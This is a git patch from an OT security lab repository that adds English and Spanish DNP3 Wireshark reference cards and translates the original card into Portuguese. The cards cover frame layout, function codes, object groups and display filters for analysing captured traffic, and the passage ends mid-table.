Lab -![](https://raw.githubusercontent.com/substationworm/OTLab/main/OTLab-SecondHeader.png "DNP3 & Wireshark Lab") +![](https://raw.githubusercontent.com/substationworm/OTLab/main/OTLab-SecondHeader.png "OTLab14 — DNP3 + Wireshark Lab") [![Curriculum Lattes](https://img.shields.io/badge/Lattes-white)](http://lattes.cnpq.br/8846358506427099) [![ORCID](https://img.shields.io/badge/ORCID-grey)](https://orcid.org/0000-0002-6254-7306) From 8ccb208518d6dd2007a28100204306dfa842801f Mon Sep 17 00:00:00 2001 From: fariasrafael10 Date: Thu, 25 Jun 2026 01:25:43 +0100 Subject: [PATCH 11/11] OTLab14-16: Hugo/LandingPage integration (PT-PT canonical, EN/ES, index bundles, numbered tasks) + README index --- OTLab14/DNP3WiresharkReference-EN.md | 144 +++++++++++++++++ OTLab14/DNP3WiresharkReference-ES.md | 144 +++++++++++++++++ OTLab14/DNP3WiresharkReference.md | 214 ++++++++++++-------------- OTLab14/OTLab14-EN.md | 116 ++++++++++++++ OTLab14/OTLab14-ES.md | 113 ++++++++++++++ OTLab14/OTLab14.md | 112 +++++++------- OTLab14/OTLab14.sh | 2 +- OTLab14/index.en.md | 16 ++ OTLab14/index.es.md | 16 ++ OTLab14/index.md | 16 ++ OTLab15/DNP3LabZeekReference-EN.md | 222 +++++++++++++++++++++++++++ OTLab15/DNP3LabZeekReference-ES.md | 222 +++++++++++++++++++++++++++ OTLab15/DNP3LabZeekReference.md | 142 ++++++++--------- OTLab15/OTLab15-EN.md | 183 ++++++++++++++++++++++ OTLab15/OTLab15-ES.md | 177 +++++++++++++++++++++ OTLab15/OTLab15.md | 195 +++++++++++------------ OTLab15/OTLab15.sh | 2 +- OTLab15/index.en.md | 16 ++ OTLab15/index.es.md | 16 ++ OTLab15/index.md | 16 ++ OTLab16/IRPlaybookReference-EN.md | 120 +++++++++++++++ OTLab16/IRPlaybookReference-ES.md | 125 +++++++++++++++ OTLab16/IRPlaybookReference.md | 159 +++++++++---------- OTLab16/IR_Template-EN.md | 124 +++++++++++++++ OTLab16/IR_Template-ES.md | 123 +++++++++++++++ OTLab16/IR_Template.md | 99 ++++++------ OTLab16/OTLab16-EN.md | 153 ++++++++++++++++++ OTLab16/OTLab16-ES.md | 153 ++++++++++++++++++ OTLab16/OTLab16.md | 165 ++++++++++---------- OTLab16/OTLab16.sh | 2 +- OTLab16/PurdueModelReference-EN.md | 132 ++++++++++++++++ OTLab16/PurdueModelReference-ES.md | 134 ++++++++++++++++ OTLab16/PurdueModelReference.md | 158 +++++++++---------- OTLab16/index.en.md | 20 +++ OTLab16/index.es.md | 20 +++ OTLab16/index.md | 20 +++ README.md | 6 +- 37 files changed, 3169 insertions(+), 628 deletions(-) create mode 100644 OTLab14/DNP3WiresharkReference-EN.md create mode 100644 OTLab14/DNP3WiresharkReference-ES.md create mode 100644 OTLab14/OTLab14-EN.md create mode 100644 OTLab14/OTLab14-ES.md create mode 100644 OTLab14/index.en.md create mode 100644 OTLab14/index.es.md create mode 100644 OTLab14/index.md create mode 100644 OTLab15/DNP3LabZeekReference-EN.md create mode 100644 OTLab15/DNP3LabZeekReference-ES.md create mode 100644 OTLab15/OTLab15-EN.md create mode 100644 OTLab15/OTLab15-ES.md create mode 100644 OTLab15/index.en.md create mode 100644 OTLab15/index.es.md create mode 100644 OTLab15/index.md create mode 100644 OTLab16/IRPlaybookReference-EN.md create mode 100644 OTLab16/IRPlaybookReference-ES.md create mode 100644 OTLab16/IR_Template-EN.md create mode 100644 OTLab16/IR_Template-ES.md create mode 100644 OTLab16/OTLab16-EN.md create mode 100644 OTLab16/OTLab16-ES.md create mode 100644 OTLab16/PurdueModelReference-EN.md create mode 100644 OTLab16/PurdueModelReference-ES.md create mode 100644 OTLab16/index.en.md create mode 100644 OTLab16/index.es.md create mode 100644 OTLab16/index.md diff --git a/OTLab14/DNP3WiresharkReference-EN.md b/OTLab14/DNP3WiresharkReference-EN.md new file mode 100644 index 0000000..eaf0be6 --- /dev/null +++ b/OTLab14/DNP3WiresharkReference-EN.md @@ -0,0 +1,144 @@ +# DNP3 — Wireshark Reference + +Reference card for analysing DNP3 traffic with Wireshark. Use this alongside `OTLab14.md` when you need to look up a dissector field, a function code, or the layout of a DNP3 frame. This document **describes the protocol generically** — it does not state which addresses, function codes or object groups appear in your specific capture; that is for you to observe. + +## 🧩 Frame layout overview + +A DNP3 PDU travels inside a single TCP segment (default port `20000/tcp`). The dissector breaks it into three layers: + +``` ++---------------------------------+ +| Application Layer (function + | +| objects = the actual data) | ++---------------------------------+ +| Transport Layer (1-byte control | +| for fragmentation/sequencing) | ++---------------------------------+ +| Data Link Layer (start bytes, | +| addresses, length, CRC) | ++---------------------------------+ +``` + +Read top-down when you want to understand *intent* (start with Application). Read bottom-up when you want to understand *delivery* (start with Data Link). + +## 🔌 Getting Wireshark to dissect DNP3 + +If a packet shows only as **TCP** with payload bytes starting in `05 64`, the dissector did not engage. Force it: + +> **Right-click on the packet → Decode As… → set "TCP port" to `20000` and "Current" to `DNP 3.0`** + +After this, the *Protocol* column displays **DNP 3.0** and the Packet Details pane gains the three layers above. + +## 🛰️ Data Link Layer — fixed 10-byte header + +| Offset | Field | Size | Notes | +|-------:|----------------|-----:|-----------------------------------------------------------------------| +| 0–1 | Start bytes | 2 B | Always `0x05 0x64`. Marks the beginning of every DNP3 frame on the wire. | +| 2 | Length | 1 B | Octets in the rest of the frame, **excluding** CRCs. Max 255. | +| 3 | Control | 1 B | DIR / PRM / FCB / FCV bits + a 4-bit data-link function code. | +| 4–5 | Destination | 2 B | Logical address of the receiver (little-endian). | +| 6–7 | Source | 2 B | Logical address of the sender (little-endian). | +| 8–9 | CRC | 2 B | 16-bit CRC computed over the previous 8 bytes (link-level only). | + +After this header, the payload is split into 16-byte blocks each followed by its own 2-byte CRC. + +> [!NOTE] +> The data-link **addresses are not IP addresses** — they are short numeric IDs that identify the master and the outstation at the DNP3 application level. Two devices can share the same IP and still be distinguished by these addresses, and the same address can roam to a different IP without changing identity. The CRCs here protect against transmission errors only; they are **not** cryptographic. + +## 📨 Application Layer — function + objects + +Every Application PDU contains: + +1. An **Application Control** byte (FIR/FIN/CON/UNS bits + a 4-bit sequence number). +2. A **Function Code** (1 byte) — what the sender wants to do. +3. For responses, an **IIN** (Internal Indications) field — 2 bytes of status flags about the outstation. +4. Zero or more **Object headers**, each followed by their data. + +Each Object header carries: + +| Field | Meaning | +|-----------------|-----------------------------------------------------------------------------| +| Group | The class of point (binary input, analog input, counter, etc.). | +| Variation | How that point is encoded (with/without flags, 16-bit vs 32-bit, float, …). | +| Qualifier | How the indices that follow are expressed (range, count, prefixed, …). | +| Range / Count | Which indices the data block covers. | +| Data | The actual point values (interpretation depends on Group + Variation). | + +## 📋 Function code table (commonly seen) + +Master → outstation **requests**: + +| Code (dec / hex) | Name | Effect | +|-----------------:|-------------------|---------------------------------------------------------------| +| 0 / `0x00` | CONFIRM | Acknowledges a fragment. Carries no objects. | +| 1 / `0x01` | READ | Asks the outstation to return point values. | +| 2 / `0x02` | WRITE | Writes a value (e.g. into the time object, IIN bits). | +| 3 / `0x03` | SELECT | Selects a control point for a subsequent OPERATE. | +| 4 / `0x04` | OPERATE | Operates a previously selected point (Select-Before-Operate). | +| 5 / `0x05` | DIRECT_OPERATE | Operates a control point in one shot (no Select). | +| 6 / `0x06` | DIRECT_OPERATE_NR | Same as `0x05` but no response expected. | +| 13 / `0x0D` | COLD_RESTART | Forces a full outstation restart. | +| 14 / `0x0E` | WARM_RESTART | Forces a partial outstation restart. | +| 23 / `0x17` | DELAY_MEASURE | Used in time synchronisation. | + +Outstation → master **responses**: + +| Code (dec / hex) | Name | Effect | +|-----------------:|-----------------------|-------------------------------------------------------| +| 129 / `0x81` | RESPONSE | Reply to a master's READ (or other) request. | +| 130 / `0x82` | UNSOLICITED_RESPONSE | Spontaneous report from the outstation, not solicited.| +| 131 / `0x83` | AUTHENTICATE_RESPONSE | Reply within DNP3 Secure Authentication exchanges. | + +> [!NOTE] +> Wireshark prints the symbolic name in parentheses after the hex byte (e.g. `Function Code: READ (0x01)`). You don't need to memorise numbers — but knowing the families (request 0–127, response 128–255) helps you read filters. + +## 🗂️ Object groups likely to appear in basic telemetry + +(For the full DNP3 object library see the protocol specification — this is a small useful subset.) + +| Group | Class | What it carries | +|------:|--------------------|--------------------------------------------------| +| 1 | Binary Input | On/off status points (e.g. breaker open/closed). | +| 2 | Binary Input Event | Time-tagged changes of Binary Input points. | +| 10 | Binary Output | Output coil status. | +| 12 | Binary Command | Control commands for binary outputs. | +| 30 | Analog Input | Measured analog values (voltage, current, …). | +| 32 | Analog Input Event | Time-tagged changes of Analog Input points. | +| 41 | Analog Output | Output analog command points. | +| 50 | Time and Date | Used for time sync. | + +A *variation* selects the encoding: e.g. Group 30 var 1 = 32-bit int with flags, var 2 = 16-bit int with flags, var 5 = 32-bit float, var 6 = 64-bit float. Wireshark shows the variation as part of the object header. + +## 🔍 Wireshark display filters (cheat sheet) + +| Goal | Filter | +|-------------------------------------------------|-------------------------------------------------------| +| Only DNP3 frames | `dnp3` | +| Only DNP3 to/from a specific TCP endpoint | `dnp3 && tcp.port == 20000` | +| Only frames sourced from one IP | `dnp3 && ip.src == ` | +| Only requests with a given function code | `dnp3.al.func == ` (e.g. `dnp3.al.func == 1`) | +| Filter on the data-link source address | `dnp3.src == ` | +| Filter on the data-link destination address | `dnp3.dst == ` | +| Show only frames carrying objects of a group | `dnp3.al.obj == ` * | + +\* Wireshark expresses Group/Variation as a single integer (Group × 256 + Variation). When in doubt, click the field in Packet Details — Wireshark shows the exact filter expression at the bottom of the window. + +## 🧭 Useful Wireshark navigation + +| What you want | How | +|----------------------------------------------------------|----------------------------------------------------------------------------------| +| Inspect raw bytes of a frame | Bottom pane (**Packet Bytes**). Click a field to highlight bytes. | +| See the symbolic name of any DNP3 fiel | **Packet Details**; the filter expression appears at the bottom-left status bar.| +| Measure time between filtered packets | **View → Time Display Format → Seconds Since Previous Displayed Packet**. | +| Visualise periodicity | **Statistics → I/O Graph**, with your filter and a 1 s interval. | +| Follow a TCP conversation as bytes | Right-click a packet → **Follow → TCP Stream**. | +| Export a single PDU as bytes | Right-click in Packet Bytes → **Copy → … as Hex Stream**. | + +## 🔖 Acronyms + +- **PDU**: Protocol Data Unit — one self-contained message at a given protocol layer. +- **APDU / ALPDU**: Application-layer PDU. +- **CRC**: Cyclic Redundancy Check — error-detection code (not cryptographic). +- **IIN**: Internal Indications — outstation status flags carried in responses. +- **SBO**: Select-Before-Operate — two-step control sequence (`SELECT` then `OPERATE`). +- **DIR / PRM / FCB / FCV**: Direction, Primary, Frame Count Bit, Frame Count Valid — control bits in the data-link header. diff --git a/OTLab14/DNP3WiresharkReference-ES.md b/OTLab14/DNP3WiresharkReference-ES.md new file mode 100644 index 0000000..df9fa70 --- /dev/null +++ b/OTLab14/DNP3WiresharkReference-ES.md @@ -0,0 +1,144 @@ +# DNP3 — Referencia Wireshark + +Tarjeta de consulta para analizar tráfico DNP3 con Wireshark. Úsala junto con `OTLab14.md` cuando necesites buscar un campo del disector, un código de función o la estructura de una trama DNP3. Este documento **describe el protocolo de forma genérica** — no indica qué direcciones, códigos de función o grupos de objetos aparecen en tu captura específica; eso es para que tú lo observes. + +## 🧩 Visión general de la estructura de la trama + +Una PDU DNP3 viaja dentro de un único segmento TCP (puerto por defecto `20000/tcp`). El disector la divide en tres capas: + +``` ++---------------------------------+ +| Application Layer (function + | +| objects = the actual data) | ++---------------------------------+ +| Transport Layer (1-byte control | +| for fragmentation/sequencing) | ++---------------------------------+ +| Data Link Layer (start bytes, | +| addresses, length, CRC) | ++---------------------------------+ +``` + +Lee de arriba hacia abajo cuando quieras entender la *intención* (empieza por Application). Lee de abajo hacia arriba cuando quieras entender la *entrega* (empieza por Data Link). + +## 🔌 Hacer que Wireshark diseccione DNP3 + +Si un paquete aparece solo como **TCP** con los bytes de payload empezando en `05 64`, el disector no actuó. Fuérzalo: + +> **Clic derecho en el paquete → Decode As… → define "TCP port" a `20000` y "Current" a `DNP 3.0`** + +Tras esto, la columna *Protocol* muestra **DNP 3.0** y el panel Packet Details gana las tres capas anteriores. + +## 🛰️ Capa de enlace de datos (Data Link) — cabecera fija de 10 bytes + +| Offset | Campo | Tam. | Notas | +|-------:|----------------|-----:|-----------------------------------------------------------------------| +| 0–1 | Start bytes | 2 B | Siempre `0x05 0x64`. Marca el inicio de cada trama DNP3 en el cable. | +| 2 | Length | 1 B | Octetos en el resto de la trama, **excluyendo** los CRC. Máx. 255. | +| 3 | Control | 1 B | Bits DIR / PRM / FCB / FCV + un código de función de enlace de 4 bits. | +| 4–5 | Destination | 2 B | Dirección lógica del receptor (little-endian). | +| 6–7 | Source | 2 B | Dirección lógica del emisor (little-endian). | +| 8–9 | CRC | 2 B | CRC de 16 bits calculado sobre los 8 bytes anteriores (solo a nivel de enlace). | + +Tras esta cabecera, el payload se divide en bloques de 16 bytes, cada uno seguido de su propio CRC de 2 bytes. + +> [!NOTE] +> Las **direcciones de la capa de enlace no son direcciones IP** — son IDs numéricos cortos que identifican al master y a la outstation a nivel de aplicación DNP3. Dos dispositivos pueden compartir la misma IP y aun así distinguirse por estas direcciones, y la misma dirección puede migrar a una IP diferente sin cambiar de identidad. Los CRC aquí protegen solo contra errores de transmisión; **no** son criptográficos. + +## 📨 Capa de aplicación (Application) — función + objetos + +Cada PDU de aplicación contiene: + +1. Un byte de **Application Control** (bits FIR/FIN/CON/UNS + un número de secuencia de 4 bits). +2. Un **Function Code** (1 byte) — lo que el emisor quiere hacer. +3. Para respuestas, un campo **IIN** (Internal Indications) — 2 bytes de flags de estado sobre la outstation. +4. Cero o más **Object headers**, cada uno seguido de sus datos. + +Cada Object header transporta: + +| Campo | Significado | +|-----------------|-----------------------------------------------------------------------------| +| Group | La clase del punto (binary input, analog input, counter, etc.). | +| Variation | Cómo se codifica ese punto (con/sin flags, 16-bit vs 32-bit, float, …). | +| Qualifier | Cómo se expresan los índices que siguen (range, count, prefixed, …). | +| Range / Count | Qué índices abarca el bloque de datos. | +| Data | Los valores reales de los puntos (la interpretación depende de Group + Variation). | + +## 📋 Tabla de códigos de función (los más comunes) + +**Peticiones** master → outstation: + +| Código (dec / hex) | Nombre | Efecto | +|-------------------:|-------------------|---------------------------------------------------------------| +| 0 / `0x00` | CONFIRM | Confirma un fragmento. No transporta objetos. | +| 1 / `0x01` | READ | Pide a la outstation que devuelva valores de puntos. | +| 2 / `0x02` | WRITE | Escribe un valor (p. ej. en el objeto de tiempo, bits IIN). | +| 3 / `0x03` | SELECT | Selecciona un punto de control para un OPERATE posterior. | +| 4 / `0x04` | OPERATE | Opera un punto previamente seleccionado (Select-Before-Operate). | +| 5 / `0x05` | DIRECT_OPERATE | Opera un punto de control en un solo paso (sin Select). | +| 6 / `0x06` | DIRECT_OPERATE_NR | Igual que `0x05` pero sin respuesta esperada. | +| 13 / `0x0D` | COLD_RESTART | Fuerza un reinicio total de la outstation. | +| 14 / `0x0E` | WARM_RESTART | Fuerza un reinicio parcial de la outstation. | +| 23 / `0x17` | DELAY_MEASURE | Usado en la sincronización de tiempo. | + +**Respuestas** outstation → master: + +| Código (dec / hex) | Nombre | Efecto | +|-------------------:|-----------------------|-------------------------------------------------------| +| 129 / `0x81` | RESPONSE | Respuesta a una petición READ (u otra) del master. | +| 130 / `0x82` | UNSOLICITED_RESPONSE | Reporte espontáneo de la outstation, no solicitado. | +| 131 / `0x83` | AUTHENTICATE_RESPONSE | Respuesta dentro de los intercambios de DNP3 Secure Authentication. | + +> [!NOTE] +> Wireshark muestra el nombre simbólico entre paréntesis después del byte hex (p. ej. `Function Code: READ (0x01)`). No necesitas memorizar números — pero conocer las familias (petición 0–127, respuesta 128–255) ayuda a leer filtros. + +## 🗂️ Grupos de objetos probables en telemetría básica + +(Para la biblioteca completa de objetos DNP3 consulta la especificación del protocolo — este es un pequeño subconjunto útil.) + +| Group | Clase | Qué transporta | +|------:|--------------------|---------------------------------------------------| +| 1 | Binary Input | Puntos de estado on/off (p. ej. interruptor abierto/cerrado). | +| 2 | Binary Input Event | Cambios con marca temporal de puntos Binary Input. | +| 10 | Binary Output | Estado de las coils de salida. | +| 12 | Binary Command | Comandos de control para salidas binarias. | +| 30 | Analog Input | Valores analógicos medidos (tensión, corriente, …). | +| 32 | Analog Input Event | Cambios con marca temporal de puntos Analog Input. | +| 41 | Analog Output | Puntos de comando analógico de salida. | +| 50 | Time and Date | Usado para la sincronización de tiempo. | + +Una *variation* selecciona la codificación: p. ej. Group 30 var 1 = entero de 32 bits con flags, var 2 = entero de 16 bits con flags, var 5 = float de 32 bits, var 6 = float de 64 bits. Wireshark muestra la variation como parte del object header. + +## 🔍 Filtros de visualización de Wireshark (cheat sheet) + +| Objetivo | Filtro | +|-------------------------------------------------|-------------------------------------------------------| +| Solo tramas DNP3 | `dnp3` | +| Solo DNP3 desde/hacia un endpoint TCP concreto | `dnp3 && tcp.port == 20000` | +| Solo tramas con origen en una IP | `dnp3 && ip.src == ` | +| Solo peticiones con un código de función dado | `dnp3.al.func == ` (p. ej. `dnp3.al.func == 1`) | +| Filtrar por la dirección de origen del enlace | `dnp3.src == ` | +| Filtrar por la dirección de destino del enlace | `dnp3.dst == ` | +| Mostrar solo tramas con objetos de un grupo | `dnp3.al.obj == ` * | + +\* Wireshark expresa Group/Variation como un único entero (Group × 256 + Variation). En caso de duda, haz clic en el campo en Packet Details — Wireshark muestra la expresión de filtro exacta en la parte inferior de la ventana. + +## 🧭 Navegación útil en Wireshark + +| Lo que quieres | Cómo | +|----------------------------------------------------------|----------------------------------------------------------------------------------| +| Inspeccionar los bytes en bruto de una trama | Panel inferior (**Packet Bytes**). Haz clic en un campo para resaltar los bytes. | +| Ver el nombre simbólico de cualquier campo DNP3 | **Packet Details**; la expresión de filtro aparece en la barra de estado inferior izquierda. | +| Medir el tiempo entre paquetes filtrados | **View → Time Display Format → Seconds Since Previous Displayed Packet**. | +| Visualizar la periodicidad | **Statistics → I/O Graph**, con tu filtro y un intervalo de 1 s. | +| Seguir una conversación TCP en bytes | Clic derecho en un paquete → **Follow → TCP Stream**. | +| Exportar una única PDU en bytes | Clic derecho en Packet Bytes → **Copy → … as Hex Stream**. | + +## 🔖 Siglas + +- **PDU**: Protocol Data Unit — un mensaje autónomo en una capa dada del protocolo. +- **APDU / ALPDU**: PDU de la capa de aplicación. +- **CRC**: Cyclic Redundancy Check — código de detección de errores (no criptográfico). +- **IIN**: Internal Indications — flags de estado de la outstation transportadas en las respuestas. +- **SBO**: Select-Before-Operate — secuencia de control en dos pasos (`SELECT` y luego `OPERATE`). +- **DIR / PRM / FCB / FCV**: Direction, Primary, Frame Count Bit, Frame Count Valid — bits de control en la cabecera de la capa de enlace. diff --git a/OTLab14/DNP3WiresharkReference.md b/OTLab14/DNP3WiresharkReference.md index 23e9f40..be6f986 100644 --- a/OTLab14/DNP3WiresharkReference.md +++ b/OTLab14/DNP3WiresharkReference.md @@ -1,12 +1,10 @@ -# DNP3 — Wireshark Reference +# DNP3 — Referência Wireshark -Reference card for analysing DNP3 traffic with Wireshark. Use this alongside `DNP3Lab.md` when you need to look up a dissector field, a function code, or the layout of a DNP3 frame. This document **describes the protocol generically** — it does not state which addresses, function codes or object groups appear in your specific capture; that is for you to observe. +Cartão de consulta para analisar tráfego DNP3 com o Wireshark. Usa-o em conjunto com o `OTLab14.md` quando precisares de procurar um campo do dissecador, um código de função ou a estrutura de uma trama DNP3. Este documento **descreve o protocolo de forma genérica** — não indica que endereços, códigos de função ou grupos de objetos aparecem na tua captura específica; isso é para tu observares. ---- +## 🧩 Visão geral da estrutura da trama -## 🧩 Frame layout overview - -A DNP3 PDU travels inside a single TCP segment (default port `20000/tcp`). The dissector breaks it into three layers: +Uma PDU DNP3 viaja dentro de um único segmento TCP (porta predefinida `20000/tcp`). O dissecador divide-a em três camadas: ``` +---------------------------------+ @@ -21,142 +19,126 @@ A DNP3 PDU travels inside a single TCP segment (default port `20000/tcp`). The d +---------------------------------+ ``` -Read top-down when you want to understand *intent* (start with Application). Read bottom-up when you want to understand *delivery* (start with Data Link). - ---- +Lê de cima para baixo quando quiseres perceber a *intenção* (começa na Application). Lê de baixo para cima quando quiseres perceber a *entrega* (começa na Data Link). -## 🔌 Getting Wireshark to dissect DNP3 +## 🔌 Fazer o Wireshark dissecar DNP3 -If a packet shows only as **TCP** with payload bytes starting in `05 64`, the dissector did not engage. Force it: +Se um pacote aparecer apenas como **TCP** com os bytes de payload a começar em `05 64`, o dissecador não atuou. Força-o: -> **Right-click on the packet → Decode As… → set "TCP port" to `20000` and "Current" to `DNP 3.0`** +> **Clica com o botão direito no pacote → Decode As… → define "TCP port" para `20000` e "Current" para `DNP 3.0`** -After this, the *Protocol* column displays **DNP 3.0** and the Packet Details pane gains the three layers above. +Depois disto, a coluna *Protocol* mostra **DNP 3.0** e o painel Packet Details ganha as três camadas acima. ---- +## 🛰️ Camada de ligação de dados (Data Link) — cabeçalho fixo de 10 bytes -## 🛰️ Data Link Layer — fixed 10-byte header - -| Offset | Field | Size | Notes | +| Offset | Campo | Tam. | Notas | |-------:|----------------|-----:|-----------------------------------------------------------------------| -| 0–1 | Start bytes | 2 B | Always `0x05 0x64`. Marks the beginning of every DNP3 frame on the wire. | -| 2 | Length | 1 B | Octets in the rest of the frame, **excluding** CRCs. Max 255. | -| 3 | Control | 1 B | DIR / PRM / FCB / FCV bits + a 4-bit data-link function code. | -| 4–5 | Destination | 2 B | Logical address of the receiver (little-endian). | -| 6–7 | Source | 2 B | Logical address of the sender (little-endian). | -| 8–9 | CRC | 2 B | 16-bit CRC computed over the previous 8 bytes (link-level only). | +| 0–1 | Start bytes | 2 B | Sempre `0x05 0x64`. Marca o início de cada trama DNP3 no fio. | +| 2 | Length | 1 B | Octetos no resto da trama, **excluindo** os CRC. Máx. 255. | +| 3 | Control | 1 B | Bits DIR / PRM / FCB / FCV + um código de função de ligação de 4 bits. | +| 4–5 | Destination | 2 B | Endereço lógico do recetor (little-endian). | +| 6–7 | Source | 2 B | Endereço lógico do emissor (little-endian). | +| 8–9 | CRC | 2 B | CRC de 16 bits calculado sobre os 8 bytes anteriores (apenas ao nível da ligação). | -After this header, the payload is split into 16-byte blocks each followed by its own 2-byte CRC. +Após este cabeçalho, o payload é dividido em blocos de 16 bytes, cada um seguido do seu próprio CRC de 2 bytes. > [!NOTE] -> The data-link **addresses are not IP addresses** — they are short numeric IDs that identify the master and the outstation at the DNP3 application level. Two devices can share the same IP and still be distinguished by these addresses, and the same address can roam to a different IP without changing identity. The CRCs here protect against transmission errors only; they are **not** cryptographic. - ---- +> Os **endereços da camada de ligação não são endereços IP** — são IDs numéricos curtos que identificam o master e a outstation ao nível da aplicação DNP3. Dois dispositivos podem partilhar o mesmo IP e ainda assim distinguir-se por estes endereços, e o mesmo endereço pode mudar para um IP diferente sem alterar a identidade. Os CRC aqui protegem apenas contra erros de transmissão; **não** são criptográficos. -## 📨 Application Layer — function + objects +## 📨 Camada de aplicação (Application) — função + objetos -Every Application PDU contains: +Cada PDU de aplicação contém: -1. An **Application Control** byte (FIR/FIN/CON/UNS bits + a 4-bit sequence number). -2. A **Function Code** (1 byte) — what the sender wants to do. -3. For responses, an **IIN** (Internal Indications) field — 2 bytes of status flags about the outstation. -4. Zero or more **Object headers**, each followed by their data. +1. Um byte de **Application Control** (bits FIR/FIN/CON/UNS + um número de sequência de 4 bits). +2. Um **Function Code** (1 byte) — o que o emissor quer fazer. +3. Para respostas, um campo **IIN** (Internal Indications) — 2 bytes de flags de estado sobre a outstation. +4. Zero ou mais **Object headers**, cada um seguido dos seus dados. -Each Object header carries: +Cada Object header transporta: -| Field | Meaning | +| Campo | Significado | |-----------------|-----------------------------------------------------------------------------| -| Group | The class of point (binary input, analog input, counter, etc.). | -| Variation | How that point is encoded (with/without flags, 16-bit vs 32-bit, float, …). | -| Qualifier | How the indices that follow are expressed (range, count, prefixed, …). | -| Range / Count | Which indices the data block covers. | -| Data | The actual point values (interpretation depends on Group + Variation). | - ---- - -## 📋 Function code table (commonly seen) - -Master → outstation **requests**: - -| Code (dec / hex) | Name | Effect | -|-----------------:|-------------------|---------------------------------------------------------------| -| 0 / `0x00` | CONFIRM | Acknowledges a fragment. Carries no objects. | -| 1 / `0x01` | READ | Asks the outstation to return point values. | -| 2 / `0x02` | WRITE | Writes a value (e.g. into the time object, IIN bits). | -| 3 / `0x03` | SELECT | Selects a control point for a subsequent OPERATE. | -| 4 / `0x04` | OPERATE | Operates a previously selected point (Select-Before-Operate). | -| 5 / `0x05` | DIRECT_OPERATE | Operates a control point in one shot (no Select). | -| 6 / `0x06` | DIRECT_OPERATE_NR | Same as `0x05` but no response expected. | -| 13 / `0x0D` | COLD_RESTART | Forces a full outstation restart. | -| 14 / `0x0E` | WARM_RESTART | Forces a partial outstation restart. | -| 23 / `0x17` | DELAY_MEASURE | Used in time synchronisation. | - -Outstation → master **responses**: - -| Code (dec / hex) | Name | Effect | -|-----------------:|-----------------------|-------------------------------------------------------| -| 129 / `0x81` | RESPONSE | Reply to a master's READ (or other) request. | -| 130 / `0x82` | UNSOLICITED_RESPONSE | Spontaneous report from the outstation, not solicited.| -| 131 / `0x83` | AUTHENTICATE_RESPONSE | Reply within DNP3 Secure Authentication exchanges. | +| Group | A classe do ponto (binary input, analog input, counter, etc.). | +| Variation | Como esse ponto é codificado (com/sem flags, 16-bit vs 32-bit, float, …). | +| Qualifier | Como os índices seguintes são expressos (range, count, prefixed, …). | +| Range / Count | Que índices o bloco de dados abrange. | +| Data | Os valores reais dos pontos (a interpretação depende de Group + Variation). | + +## 📋 Tabela de códigos de função (mais comuns) + +**Pedidos** master → outstation: + +| Código (dec / hex) | Nome | Efeito | +|-------------------:|-------------------|---------------------------------------------------------------| +| 0 / `0x00` | CONFIRM | Confirma um fragmento. Não transporta objetos. | +| 1 / `0x01` | READ | Pede à outstation que devolva valores de pontos. | +| 2 / `0x02` | WRITE | Escreve um valor (ex.: no objeto de tempo, bits IIN). | +| 3 / `0x03` | SELECT | Seleciona um ponto de controlo para um OPERATE subsequente. | +| 4 / `0x04` | OPERATE | Opera um ponto previamente selecionado (Select-Before-Operate). | +| 5 / `0x05` | DIRECT_OPERATE | Opera um ponto de controlo numa só etapa (sem Select). | +| 6 / `0x06` | DIRECT_OPERATE_NR | Igual a `0x05` mas sem resposta esperada. | +| 13 / `0x0D` | COLD_RESTART | Força um reinício total da outstation. | +| 14 / `0x0E` | WARM_RESTART | Força um reinício parcial da outstation. | +| 23 / `0x17` | DELAY_MEASURE | Usado na sincronização de tempo. | + +**Respostas** outstation → master: + +| Código (dec / hex) | Nome | Efeito | +|-------------------:|-----------------------|-------------------------------------------------------| +| 129 / `0x81` | RESPONSE | Resposta a um pedido READ (ou outro) do master. | +| 130 / `0x82` | UNSOLICITED_RESPONSE | Reporte espontâneo da outstation, não solicitado. | +| 131 / `0x83` | AUTHENTICATE_RESPONSE | Resposta dentro das trocas de DNP3 Secure Authentication. | > [!NOTE] -> Wireshark prints the symbolic name in parentheses after the hex byte (e.g. `Function Code: READ (0x01)`). You don't need to memorise numbers — but knowing the families (request 0–127, response 128–255) helps you read filters. +> O Wireshark mostra o nome simbólico entre parênteses depois do byte hex (ex.: `Function Code: READ (0x01)`). Não precisas de memorizar números — mas conhecer as famílias (pedido 0–127, resposta 128–255) ajuda a ler filtros. ---- +## 🗂️ Grupos de objetos prováveis em telemetria básica -## 🗂️ Object groups likely to appear in basic telemetry +(Para a biblioteca completa de objetos DNP3 consulta a especificação do protocolo — este é um pequeno subconjunto útil.) -(For the full DNP3 object library see the protocol specification — this is a small useful subset.) +| Group | Classe | O que transporta | +|------:|--------------------|---------------------------------------------------| +| 1 | Binary Input | Pontos de estado on/off (ex.: disjuntor aberto/fechado). | +| 2 | Binary Input Event | Alterações com marca temporal de pontos Binary Input. | +| 10 | Binary Output | Estado das coils de saída. | +| 12 | Binary Command | Comandos de controlo para saídas binárias. | +| 30 | Analog Input | Valores analógicos medidos (tensão, corrente, …). | +| 32 | Analog Input Event | Alterações com marca temporal de pontos Analog Input. | +| 41 | Analog Output | Pontos de comando analógico de saída. | +| 50 | Time and Date | Usado para sincronização de tempo. | -| Group | Class | What it carries | -|------:|--------------------|--------------------------------------------------| -| 1 | Binary Input | On/off status points (e.g. breaker open/closed). | -| 2 | Binary Input Event | Time-tagged changes of Binary Input points. | -| 10 | Binary Output | Output coil status. | -| 12 | Binary Command | Control commands for binary outputs. | -| 30 | Analog Input | Measured analog values (voltage, current, …). | -| 32 | Analog Input Event | Time-tagged changes of Analog Input points. | -| 41 | Analog Output | Output analog command points. | -| 50 | Time and Date | Used for time sync. | +Uma *variation* seleciona a codificação: ex.: Group 30 var 1 = inteiro de 32 bits com flags, var 2 = inteiro de 16 bits com flags, var 5 = float de 32 bits, var 6 = float de 64 bits. O Wireshark mostra a variation como parte do object header. -A *variation* selects the encoding: e.g. Group 30 var 1 = 32-bit int with flags, var 2 = 16-bit int with flags, var 5 = 32-bit float, var 6 = 64-bit float. Wireshark shows the variation as part of the object header. +## 🔍 Filtros de exibição do Wireshark (cheat sheet) ---- - -## 🔍 Wireshark display filters (cheat sheet) - -| Goal | Filter | +| Objetivo | Filtro | |-------------------------------------------------|-------------------------------------------------------| -| Only DNP3 frames | `dnp3` | -| Only DNP3 to/from a specific TCP endpoint | `dnp3 && tcp.port == 20000` | -| Only frames sourced from one IP | `dnp3 && ip.src == ` | -| Only requests with a given function code | `dnp3.al.func == ` (e.g. `dnp3.al.func == 1`) | -| Filter on the data-link source address | `dnp3.src == ` | -| Filter on the data-link destination address | `dnp3.dst == ` | -| Show 